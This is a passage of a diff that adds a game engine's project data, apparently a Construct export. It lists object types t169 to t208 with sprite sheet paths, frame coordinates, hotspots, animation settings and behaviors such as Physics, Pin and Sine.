+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet2.png",
+ 79850,
+ 1,
+ 1,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet2.png",
+ 79850,
+ 375,
+ 1,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet2.png",
+ 79850,
+ 1,
+ 319,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet2.png",
+ 79850,
+ 375,
+ 319,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet2.png",
+ 79850,
+ 1,
+ 637,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet2.png",
+ 79850,
+ 375,
+ 637,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 454700837886190,
+ [],
+ null
+ ],
+ [
+ "t169",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 825564558088404,
+ [
+ [
+ "images/diehit-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 867167638044663
+ ]
+ ],
+ false,
+ false,
+ 527343166396257,
+ [],
+ null
+ ],
+ [
+ "t170",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 259027102497729,
+ [
+ [
+ "images/sprite92-sheet0.png",
+ 869,
+ 0,
+ 0,
+ 35,
+ 36,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 911546469393952
+ ]
+ ],
+ false,
+ false,
+ 912261406536614,
+ [],
+ null
+ ],
+ [
+ "t171",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 683178150213120,
+ [
+ [
+ "images/sprite96-sheet0.png",
+ 283,
+ 0,
+ 0,
+ 12,
+ 36,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 575735363999040
+ ]
+ ],
+ false,
+ false,
+ 634740975903946,
+ [],
+ null
+ ],
+ [
+ "t172",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 750049436243827,
+ [
+ [
+ "images/sprite96-sheet0.png",
+ 283,
+ 0,
+ 0,
+ 12,
+ 36,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 723101001083656
+ ]
+ ],
+ false,
+ false,
+ 750054553800337,
+ [],
+ null
+ ],
+ [
+ "t173",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 267555417819880,
+ [
+ [
+ "images/sprite96-sheet0.png",
+ 283,
+ 0,
+ 0,
+ 12,
+ 36,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 582185184856169
+ ]
+ ],
+ false,
+ false,
+ 492001717292114,
+ [],
+ null
+ ],
+ [
+ "t174",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 760390644702597,
+ [
+ [
+ "images/sprite96-sheet0.png",
+ 283,
+ 0,
+ 0,
+ 12,
+ 36,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 798938849961540
+ ]
+ ],
+ false,
+ false,
+ 652815421062444,
+ [],
+ null
+ ],
+ [
+ "t175",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 703207724955983,
+ [
+ [
+ "images/sprite96-sheet0.png",
+ 283,
+ 0,
+ 0,
+ 12,
+ 36,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 860353341868701
+ ]
+ ],
+ false,
+ false,
+ 901700677912320,
+ [],
+ null
+ ],
+ [
+ "t176",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/bloody.png",
+ 376,
+ 0
+ ],
+ null,
+ [
+ [
+ "Solid",
+ 17,
+ 127659041594889
+ ]
+ ],
+ false,
+ false,
+ 866162637914117,
+ [],
+ null
+ ],
+ [
+ "t177",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 346624402428156,
+ [
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 753,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 607682382097246,
+ [],
+ null
+ ],
+ [
+ "t178",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 418997071608559,
+ [
+ [
+ "images/sprite103-sheet0.png",
+ 354603,
+ 0,
+ 0,
+ 802,
+ 482,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 594151246372120,
+ [],
+ null
+ ],
+ [
+ "t179",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 924373403551240,
+ [
+ [
+ "images/sprite114-sheet0.png",
+ 46400,
+ 0,
+ 0,
+ 356,
+ 167,
+ 1,
+ 0.5112359523773193,
+ 0.4790419042110443,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 181331106667883
+ ]
+ ],
+ false,
+ false,
+ 109719773760010,
+ [],
+ null
+ ],
+ [
+ "t180",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 572932052107667,
+ [
+ [
+ "images/sprite116-sheet0.png",
+ 1144,
+ 0,
+ 0,
+ 105,
+ 88,
+ 1,
+ 0.5047619342803955,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "LiteTween",
+ 21,
+ 511106516772584
+ ],
+ [
+ "Sine",
+ 13,
+ 223137546686827
+ ]
+ ],
+ false,
+ false,
+ 182222208888679,
+ [],
+ null
+ ],
+ [
+ "t181",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 40,
+ true,
+ 1,
+ 0,
+ false,
+ 321681110847280,
+ [
+ [
+ "images/sprite117-sheet0.png",
+ 85275,
+ 1,
+ 1,
+ 352,
+ 188,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite117-sheet0.png",
+ 85275,
+ 355,
+ 1,
+ 352,
+ 188,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite117-sheet0.png",
+ 85275,
+ 1,
+ 191,
+ 352,
+ 188,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite117-sheet0.png",
+ 85275,
+ 355,
+ 191,
+ 352,
+ 188,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite117-sheet0.png",
+ 85275,
+ 1,
+ 381,
+ 352,
+ 188,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite117-sheet0.png",
+ 85275,
+ 355,
+ 381,
+ 352,
+ 188,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite117-sheet0.png",
+ 85275,
+ 1,
+ 571,
+ 352,
+ 188,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite117-sheet0.png",
+ 85275,
+ 355,
+ 571,
+ 352,
+ 188,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite117-sheet0.png",
+ 85275,
+ 1,
+ 761,
+ 352,
+ 188,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 390293049868129
+ ]
+ ],
+ false,
+ false,
+ 925982453676825,
+ [],
+ null
+ ],
+ [
+ "t182",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 732292372926643,
+ [
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 753,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 818163670523120,
+ [],
+ null
+ ],
+ [
+ "t183",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Run",
+ 20,
+ false,
+ 1,
+ 0,
+ false,
+ 144149880007974,
+ [
+ [
+ "images/sprite126-sheet0.png",
+ 13551,
+ 1,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.671999990940094,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "Run2",
+ 20,
+ true,
+ 1,
+ 0,
+ false,
+ 264921765462231,
+ [
+ [
+ "images/sprite126-sheet0.png",
+ 13551,
+ 253,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.671999990940094,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite126-sheet0.png",
+ 13551,
+ 1,
+ 253,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.671999990940094,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite126-sheet0.png",
+ 13551,
+ 253,
+ 253,
+ 250,
+ 250,
+ 1,
+ 0.492000013589859,
+ 0.671999990940094,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite126-sheet1.png",
+ 13891,
+ 1,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.671999990940094,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite126-sheet1.png",
+ 13891,
+ 253,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.671999990940094,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite126-sheet1.png",
+ 13891,
+ 1,
+ 253,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.671999990940094,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite126-sheet1.png",
+ 13891,
+ 253,
+ 253,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.671999990940094,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite126-sheet2.png",
+ 10034,
+ 1,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.671999990940094,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite126-sheet2.png",
+ 10034,
+ 253,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.671999990940094,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite126-sheet2.png",
+ 10034,
+ 1,
+ 253,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.671999990940094,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite126-sheet0.png",
+ 13551,
+ 1,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.671999990940094,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "Run3",
+ 20,
+ false,
+ 1,
+ 0,
+ false,
+ 625157632840020,
+ [
+ [
+ "images/sprite126-sheet1.png",
+ 13891,
+ 1,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.671999990940094,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 416077064831823
+ ],
+ [
+ "Sine",
+ 13,
+ 139535195926753
+ ]
+ ],
+ false,
+ false,
+ 374354481681792,
+ [],
+ null
+ ],
+ [
+ "t184",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 176638236231618,
+ [
+ [
+ "images/sprite127-sheet0.png",
+ 1914,
+ 0,
+ 0,
+ 304,
+ 40,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 168904562466928,
+ [],
+ null
+ ],
+ [
+ "t185",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 986857374679370,
+ [
+ [
+ "images/sprite129-sheet0.png",
+ 4148,
+ 0,
+ 0,
+ 293,
+ 30,
+ 1,
+ 0,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 430664979924317
+ ]
+ ],
+ false,
+ false,
+ 209512009975663,
+ [],
+ null
+ ],
+ [
+ "t186",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 437501635160729,
+ [
+ [
+ "images/sprite139-sheet0.png",
+ 4607,
+ 0,
+ 0,
+ 104,
+ 104,
+ 1,
+ 0.5,
+ 0.5096153616905212,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 485467816595295,
+ [],
+ null
+ ],
+ [
+ "t187",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 417118502147320,
+ [
+ [
+ "images/sprite140-sheet0.png",
+ 4607,
+ 0,
+ 0,
+ 104,
+ 104,
+ 1,
+ 0.5,
+ 0.5096153616905212,
+ [],
+ [
+ 0.5,
+ 0.4903846383094788,
+ -0.5,
+ 0.4903846383094788,
+ -0.5,
+ -0.5096153616905212,
+ 0.5,
+ -0.5096153616905212
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 279143523513776,
+ [],
+ null
+ ],
+ [
+ "t188",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 60,
+ true,
+ 2,
+ 0,
+ false,
+ 200199606304949,
+ [
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 1,
+ 1,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 87,
+ 1,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 173,
+ 1,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 259,
+ 1,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 345,
+ 1,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 1,
+ 141,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 87,
+ 141,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 173,
+ 141,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 259,
+ 141,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 345,
+ 141,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 1,
+ 281,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 87,
+ 281,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 173,
+ 281,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 259,
+ 281,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet0.png",
+ 16826,
+ 345,
+ 281,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet1.png",
+ 6702,
+ 1,
+ 1,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet1.png",
+ 6702,
+ 87,
+ 1,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet1.png",
+ 6702,
+ 173,
+ 1,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet1.png",
+ 6702,
+ 259,
+ 1,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite145-sheet1.png",
+ 6702,
+ 345,
+ 1,
+ 84,
+ 138,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 216334031438655
+ ]
+ ],
+ false,
+ false,
+ 818344685071405,
+ [],
+ null
+ ],
+ [
+ "t189",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 816558578566052,
+ [
+ [
+ "images/sprite147-sheet0.png",
+ 251205,
+ 0,
+ 0,
+ 745,
+ 436,
+ 1,
+ 0.5006711483001709,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 208554367104800,
+ [],
+ null
+ ],
+ [
+ "t190",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 590277478581182,
+ [
+ [
+ "images/sprite148-sheet0.png",
+ 1655,
+ 0,
+ 0,
+ 35,
+ 35,
+ 1,
+ 0.5142857432365417,
+ 0.5142857432365417,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 525442423679733,
+ [],
+ null
+ ],
+ [
+ "t191",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 164341309015404,
+ [
+ [
+ "images/sprite149-sheet0.png",
+ 10003,
+ 0,
+ 0,
+ 192,
+ 202,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 157522077634235,
+ [],
+ null
+ ],
+ [
+ "t192",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 444302963745907,
+ [
+ [
+ "images/sprite150-sheet0.png",
+ 15657,
+ 0,
+ 0,
+ 150,
+ 150,
+ 1,
+ 0.5066666603088379,
+ 0.8399999737739563,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 511716572446828
+ ]
+ ],
+ false,
+ false,
+ 779550862547940,
+ [],
+ null
+ ],
+ [
+ "t193",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont12.png",
+ 4236,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 624463719729374
+ ]
+ ],
+ false,
+ false,
+ 414102662934824,
+ [],
+ null
+ ],
+ [
+ "t194",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont.png",
+ 4846,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 298643841583898
+ ]
+ ],
+ false,
+ false,
+ 395974140669772,
+ [],
+ null
+ ],
+ [
+ "t195",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont.png",
+ 4846,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 650174311157099
+ ]
+ ],
+ false,
+ false,
+ 715230766226337,
+ [],
+ null
+ ],
+ [
+ "t196",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont.png",
+ 4846,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 273770619223538
+ ]
+ ],
+ false,
+ false,
+ 420752136523118,
+ [],
+ null
+ ],
+ [
+ "t197",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont.png",
+ 4846,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 317742792549865
+ ]
+ ],
+ false,
+ false,
+ 969765863037237,
+ [],
+ null
+ ],
+ [
+ "t198",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 857081763193609,
+ [
+ [
+ "images/sprite152-sheet0.png",
+ 1628,
+ 0,
+ 0,
+ 31,
+ 31,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 863034842751294
+ ]
+ ],
+ false,
+ false,
+ 554223592390758,
+ [],
+ null
+ ],
+ [
+ "t199",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 122288550487510,
+ [
+ [
+ "images/sprite152-sheet0.png",
+ 1628,
+ 0,
+ 0,
+ 31,
+ 31,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 866141113526019,
+ [],
+ null
+ ],
+ [
+ "t200",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 588034746354865,
+ [
+ [
+ "images/sprite155-sheet0.png",
+ 554,
+ 0,
+ 0,
+ 204,
+ 5,
+ 1,
+ 0.5,
+ 0.6000000238418579,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 626912262993936,
+ [],
+ null
+ ],
+ [
+ "t201",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 171977586185704,
+ [
+ [
+ "images/sprite155-sheet0.png",
+ 554,
+ 0,
+ 0,
+ 204,
+ 5,
+ 1,
+ 0.5,
+ 0.6000000238418579,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 481390145470333,
+ [],
+ null
+ ],
+ [
+ "t202",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/particles2.png",
+ 1641,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 663562620099279,
+ [],
+ null
+ ],
+ [
+ "t203",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Skin1",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 395861439791246,
+ [
+ [
+ "images/tirado-sheet0.png",
+ 9262,
+ 83,
+ 1,
+ 41,
+ 42,
+ 1,
+ 0.5121951103210449,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "Skin2",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 546340148987314,
+ [
+ [
+ "images/tirado-sheet0.png",
+ 9262,
+ 1,
+ 1,
+ 80,
+ 42,
+ 1,
+ 0.512499988079071,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "Skin3",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 180642735350703,
+ [
+ [
+ "images/tirado-sheet0.png",
+ 9262,
+ 53,
+ 45,
+ 41,
+ 42,
+ 1,
+ 0.5121951103210449,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ],
+ [
+ "Skin4",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 973785822617910,
+ [
+ [
+ "images/tirado-sheet0.png",
+ 9262,
+ 1,
+ 45,
+ 50,
+ 60,
+ 1,
+ 0.5199999809265137,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 828224567132624
+ ]
+ ],
+ false,
+ false,
+ 951629954479945,
+ [],
+ null
+ ],
+ [
+ "t204",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 30,
+ false,
+ 1,
+ 0,
+ false,
+ 916049446611806,
+ [
+ [
+ "images/rayo-sheet0.png",
+ 46060,
+ 1,
+ 1,
+ 225,
+ 200,
+ 1,
+ 0.5022222399711609,
+ 0.7799999713897705,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/rayo-sheet0.png",
+ 46060,
+ 228,
+ 1,
+ 225,
+ 200,
+ 1,
+ 0.5022222399711609,
+ 0.7799999713897705,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/rayo-sheet0.png",
+ 46060,
+ 1,
+ 203,
+ 225,
+ 200,
+ 1,
+ 0.5022222399711609,
+ 0.7799999713897705,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/rayo-sheet0.png",
+ 46060,
+ 228,
+ 203,
+ 225,
+ 200,
+ 1,
+ 0.5022222399711609,
+ 0.7799999713897705,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/rayo-sheet1.png",
+ 4248,
+ 0,
+ 0,
+ 225,
+ 200,
+ 1,
+ 0.5022222399711609,
+ 0.7799999713897705,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 504969335635377,
+ [],
+ null
+ ],
+ [
+ "t205",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/particles3.png",
+ 168,
+ 3
+ ],
+ null,
+ [],
+ false,
+ false,
+ 396320004816427,
+ [],
+ null
+ ],
+ [
+ "t206",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/pisopa.png",
+ 93,
+ 4
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 972363704711108
+ ]
+ ],
+ false,
+ false,
+ 256824051499597,
+ [],
+ null
+ ],
+ [
+ "t207",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/coinpart.png",
+ 1173,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 236279175203250,
+ [],
+ null
+ ],
+ [
+ "t208",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
